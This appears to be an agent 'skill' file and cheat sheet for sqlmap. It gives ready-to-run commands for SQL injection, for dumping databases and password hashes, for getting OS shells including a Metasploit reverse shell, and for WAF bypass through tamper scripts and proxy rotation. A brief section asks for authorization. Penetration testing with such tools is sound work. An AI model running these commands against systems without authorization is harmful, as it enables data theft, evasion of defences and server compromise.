SQLMap Pentesting Skill

This skill helps you conduct SQL injection testing using sqlmap, from basic reconnaissance to advanced WAF bypass techniques.

Quick Start

Basic SQLMap Command Structure

sqlmap -u "<URL>" -p "<PARAMETER>" [OPTIONS]

Essential Flags for Most Tests

-u "<URL>"                    # Target URL
-p "<PARAM>"                  # Parameter to test
--random-agent                # Rotate user agents
--threads=10                  # Parallel requests
--risk=3                      # Aggressive testing (1-5)
--level=5                     # Maximum detection (1-5)
--batch                       # Non-interactive mode
--technique="BEUSTQ"          # All injection techniques

Injection Techniques

Use

--technique

Default order:

BEUSTQ

Example - Test only Boolean and Time-based:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Target Injection Points

URL Parameters (GET)

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id  # Auto-detect injection point

POST Data

sqlmap -u "http://example.com" --data "username=*&password=*"

HTTP Headers

# Cookie injection
sqlmap -u "http://example.com" --cookie "mycookies=*"

# Header injection
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

From Burp/ZAP Capture

# Save request to req.txt, then:
sqlmap -r req.txt --current-user

Second-Order Injection

sqlmap -r request.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3

Database Enumeration

Internal Information

--current-user      # Current database user
--is-dba            # Check if user is admin
--hostname          # Server hostname
--users             # List database users
--passwords         # Extract user passwords

Database Data Extraction

--all               # Retrieve everything
--dbs               # List all databases
--tables            # List tables in database (-D <DB_NAME>)
--columns           # List columns in table (-D <DB> -T <TABLE>)
--dump              # Dump table contents

Example - Full enumeration:

sqlmap -u "http://target/?id=1" -p id --dbs --batch
sqlmap -u "http://target/?id=1" -p id -D "database_name" --tables --batch
sqlmap -u "http://target/?id=1" -p id -D "database_name" -T "users" --dump --batch

OS Command Execution

# Execute single command
sqlmap -u "http://target/?id=1" -p id --os-cmd "whoami"

# Interactive shell
sqlmap -u "http://target/?id=1" -p id --os-shell

# Drop reverse shell (requires Metasploit)
sqlmap -u "http://target/?id=1" -p id --os-pwn

WAF Bypass Techniques

Tamper Scripts

Use

--tamper

apostrophemask.py

base64encode.py

chardoubleencode.py

space2comment.py

randomcase.py

unionalltounion.py

versionedkeywords.py

luanginxmore.py

Example - Multiple tampers:

sqlmap -u "http://target/?id=1" -p id --tamper=apostrophemask.py,randomcase.py --batch

Example - Lua-Nginx WAF bypass:

sqlmap --method=POST -u "http://target" --data "id=*" --tamper=luanginxmore.py --batch

Custom Prefix/Suffix

# Add suffix to injection
sqlmap -u "http://target/?id=1" -p id --suffix="-- "

# Add prefix to injection
sqlmap -u "http://target/?id=1" -p id --prefix="') "

Boolean Blind Helper

# Find strings that don't appear in true responses
sqlmap -r request.txt -p id --not-string "ridiculous" --batch

Advanced Features

HTTP/2 Support (sqlmap >= 1.9.x)

# Force HTTP/2 (bypasses HTTP/1.1 rate limiting)
sqlmap -u "https://target" --http2 --force-ssl

Proxy Rotation

# Rotate proxies every 3 requests
sqlmap -u "http://target" --proxy-file proxies.txt --proxy-freq 3

Mobile User-Agent

# Spoof mobile client (some APIs expose more data)
sqlmap -u "http://target" --mobile

Offline Mode

# Reuse cached data without network traffic
sqlmap -u "http://target" --offline

# Purge session data when done
sqlmap -u "http://target" --purge

Website Crawling

# Auto-discover and test all endpoints
sqlmap -u "http://target/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

Authentication Support

# HTTP Basic Auth
sqlmap -u "http://target" --auth-type="Basic" --auth-cred="user:pass"

# HTTP Digest Auth
sqlmap -u "http://target" --auth-type="Digest" --auth-cred="user:pass"

# NTLM Auth
sqlmap -u "http://target" --auth-type="NTLM" --auth-cred="domain/user:pass"

Common Attack Scenarios

Scenario 1: Quick Vulnerability Check

sqlmap -u "http://target/?id=1" -p id --batch --random-agent --threads=10

Scenario 2: Full Database Extraction

sqlmap -u "http://target/?id=1" -p id --dbs --batch
sqlmap -u "http://target/?id=1" -p id -D "<db_name>" --tables --batch
sqlmap -u "http://target/?id=1" -p id -D "<db_name>" -T "<table_name>" --dump --batch

Scenario 3: WAF-Bypassed Enumeration

sqlmap -u "http://target/?id=1" -p id --tamper=apostrophemask.py,randomcase.py --level=5 --risk=3 --batch

Scenario 4: POST Request Testing

sqlmap -u "http://target/login" --data "username=*&password=*" --batch

Scenario 5: Header Injection

sqlmap -u "http://target" --headers="X-Forwarded-For:*" --batch

Safety and Ethics

• Only test systems you have authorization to test
• Use

  --risk=1

  and

  --level=1

  for initial reconnaissance
• Higher risk/level values can cause database instability
• Use

  --purge

  to clean up session data after testing
• Document all findings for responsible disclosure

Troubleshooting

Slow Performance

• Reduce

  --threads

  value
• Lower

  --level

  and

  --risk

• Use

  --batch

  to skip interactive prompts

False Positives

• Verify with manual testing
• Use

  --technique

  to limit to specific methods
• Check with

  --not-string

  for boolean blind

WAF Blocking

• Try different tamper scripts
• Use proxy rotation
• Lower request rate with fewer threads
• Try HTTP/2 with

  --http2

References

• SQLMap Official Wiki
• SQLMap Command Builder
• Tamper Scripts Directory